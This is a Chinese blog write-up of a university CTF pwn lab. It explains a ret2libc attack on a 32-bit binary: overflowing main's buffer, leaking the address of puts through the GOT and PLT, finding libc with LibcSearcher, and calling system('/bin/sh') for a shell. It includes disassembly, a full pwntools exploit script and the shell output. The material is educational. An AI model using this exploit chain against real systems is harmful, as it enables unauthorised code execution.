

Tamevic's Ctf-Pwn writeup@软件安全‘实验3pwn’

原创

TameVic 于 2019-03-19 19:38:41 发布 193 收藏

分类专栏: [pwn](#) 文章标签: [ctf pwn](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_43264421/article/details/88665008

版权



[pwn](#) 专栏收录该内容

2 篇文章 0 订阅

订阅专栏

Tamevic's Ctf-Pwn writeup@软件安全‘实验3pwn’

实验难度升级==有点晕了

文件:

其实和实验2是同一个文件, 然后我还没传网盘...然后...好吧我承认我有拖延症...

3.24更新: 我来发文件了...链接:<https://pan.baidu.com/s/19gIMQhEQSaB3LJWb1rFFYQ> 密码:6xlt

分析

这次实验的要求是不允许直接使用System函数, 也不允许使用文件自带的getflag()函数, 需要使用一些其他的技巧来获得System函数的地址。

划重点:

参考CTF-WIKI: <https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/#3>

System函数是libc.so函数库中的一个函数, 而且函数和函数在其中的相对位置(或者说相对偏移)不会发生变化, 所以我们可以先使用一个其他的函数, 得到它的地址, 确定这个函数使用的libc版本(libc在github上有人收集), 然后再获得System函数的地址。

那如何获得某个函数的地址? 具体操作是使用got表泄露, 即将这个函数got表中的内容输出出来即可。

关于got表和plt表, 可以看看这篇博客: https://blog.csdn.net/qq_18661257/article/details/54694748

所以基本操作就是先获得libc, 然后在库中查询System函数(其实/bin/sh字符串在libc中也有, 也可以同样查询出来), 这里用到一个工具LibcSearcher(<https://github.com/lieanu/LibcSearcher>)

具体exp思路:

- 利用一次主函数的溢出, 将ret设置为想要溢出的函数的plt表地址(我们这里用的是'puts'函数), 将got表中的数据输出出来, 并再次进入主函数
- 获得libc版本, 计算System函数地址, 计算'/bin/sh'字符串地址
- 再次利用main()函数的溢出, 使程序跳转到system('/bin/sh'), 随后getshell

-看看主函数

```
.text:080484FD main          proc near          ; DATA XREF: start+17↑o
.text:080484FD ; __unwind {
.text:080484FD          push     ebp
.text:080484FE          mov     ebp, esp
.text:08048500          and     esp, 0FFFFFFF0h
.text:08048503          add     esp, 0FFFFFF80h
.text:08048506          mov     eax, ds:stdin@@GLIBC_2_0
.text:0804850B          mov     dword ptr [esp+0Ch], 0 ; n
.text:08048513          mov     dword ptr [esp+8], 2 ; modes
.text:0804851B          mov     dword ptr [esp+4], 0 ; buf
.text:08048523          mov     [esp], eax ; stream
.text:08048526          call   _setvbuf
.text:0804852B          mov     eax, ds:stdout@@GLIBC_2_0
.text:08048530          mov     dword ptr [esp+0Ch], 0 ; n
.text:08048538          mov     dword ptr [esp+8], 2 ; modes
.text:08048540          mov     dword ptr [esp+4], 0 ; buf
.text:08048548          mov     [esp], eax ; stream
.text:0804854B          call   _setvbuf
.text:08048550          mov     dword ptr [esp], offset s ; "SUUCTF is not so hard"
.text:08048557          call   _puts
.text:0804855C          mov     dword ptr [esp], offset asc_8048645 ; "let's have the di er ci try"
.text:08048563          call   _puts
.text:08048568          mov     dword ptr [esp+8], 100h ; nbytes
.text:08048570          lea     eax, [esp+1Ch]
.text:08048574          mov     [esp+4], eax ; buf
.text:08048578          mov     dword ptr [esp], 0 ; fd
.text:0804857F          call   _read
.text:08048584          mov     eax, 0
.text:08048589          leave
.text:0804858A          retn
.text:0804858A ; } // starts at 80484FD
.text:0804858A main          endp
```

https://blog.csdn.net/qq_43264421

记下主函数地址 `0x080484FD`

-写脚本

之前对pwn理解不够深入，一直使用的是静态分析，但简单的东西还能这样做，稍微复杂一些的程序执行起来的样子只有动态调试才能知道。

这里就有一些写脚本的技巧：

```
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
```

第一句的目的是将python和程序之间进行的交互内容公开出来（也可以理解为调试），对其中每一步的变化都可见；

第二句的目的是新建一个terminal，便于进行gdb调试

```
pwnlib.gdb.attach(sh)
```

这里就是pwntools自带的工具，大概功能就是在程序的相应位置下断点，然后利用新建的terminal窗口进行调试。但是这里其实是有些缺陷，断点的位置通常会滞后。

已经使用的函数的plt表地址和got表地址怎么获取？这里也是pwntools的一个附件可以实现

7.ELF文件操作

```
>>> e = ELF('/bin/cat')
>>> print hex(e.address) # 文件装载的基地址
0x400000
>>> print hex(e.symbols['write']) # 函数地址
0x401680
>>> print hex(e.got['write']) # GOT表的地址
0x60b070
>>> print hex(e.plt['write']) # PLT的地址
0x401680
>>> print hex(e.search('/bin/sh').next())# 字符串/bin/sh的地址
```

https://blog.csdn.net/qq_43254421

LibcSearcher怎么使用？

```
libc = LibcSearcher('函数名',已经泄露的地址)
libcbase = 已经泄露的地址 - libc.dump('函数名')
想要泄露的函数地址 = libcbase + libc.dump('想要泄露的函数地址')
```

写好exp开始运行，得到结果

附

```

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']

sh=process('./pwn')
elf=ELF('./pwn')

main_addr=0x080484FD

puts_plt=elf.plt['puts']
print('puts_plt',hex(puts_plt))
puts_got=elf.got['puts']
print('puts_got',hex(puts_got))

#pwnlib.gdb.attach(sh)

payload='a'*112+p32(puts_plt)+p32(main_addr)+p32(puts_got)

sh.recvuntil('try\n')
sh.sendline(payload)

#print ('got libc_st_main')

puts_addr = u32(sh.recv(4))
#print ('puts_addr',hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
#print libc
libcbase = puts_addr - libc.dump('puts')
#print '!'
system_addr = libcbase + libc.dump('system')
#print"!"
binsh_addr = libcbase + libc.dump('str_bin_sh')
#print"!"

payload = 'A'*104+ p32(system_addr) + 'b'*4 + p32(binsh_addr)
sh.sendline(payload)

sh.interactive()

```

结果

运行脚本，getshell

```

[*] Switching to interactive mode
B\x0U\x0@U...
SUCTF is not so hard
let's have the di er ci try
$ ls
[DEBUG] Sent 0x3 bytes:
  'ls\n'
[DEBUG] Received 0x3f bytes:
  'core exp.py peda-session-pwn.txt pwn ret2libc3.py test.py\n'
core exp.py peda-session-pwn.txt pwn ret2libc3.py test.py

```

这里其实还有很多问题：

可能有些人能看到，我两次main()函数中溢出的位置不一样，一次是 `0x6c+4` ，一次是 `0x64+4` ，这就需要动态调试去发现了。由于 `s=esp+0x1c` ，用 `ebp-esp-0x1c` 就可以知道溢出位置。

End

其实本可以很早就能做出来的...最致命操作是我写错了 'system' ...还有'str_bin_sh'...然后就造成下面这种情况

```
<LibcSearcher.LibcSearcher object at 0x7f46862bb390>
[+] ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu10_i386) be choosed.
!
No matched, Make sure you supply a valid function name or just add more libc.
!
No matched, Make sure you supply a valid function name or just add more libc.
!
https://blog.csdn.net/qq_43264421
```

明明匹配到了libc库却找不到函数...
枯了。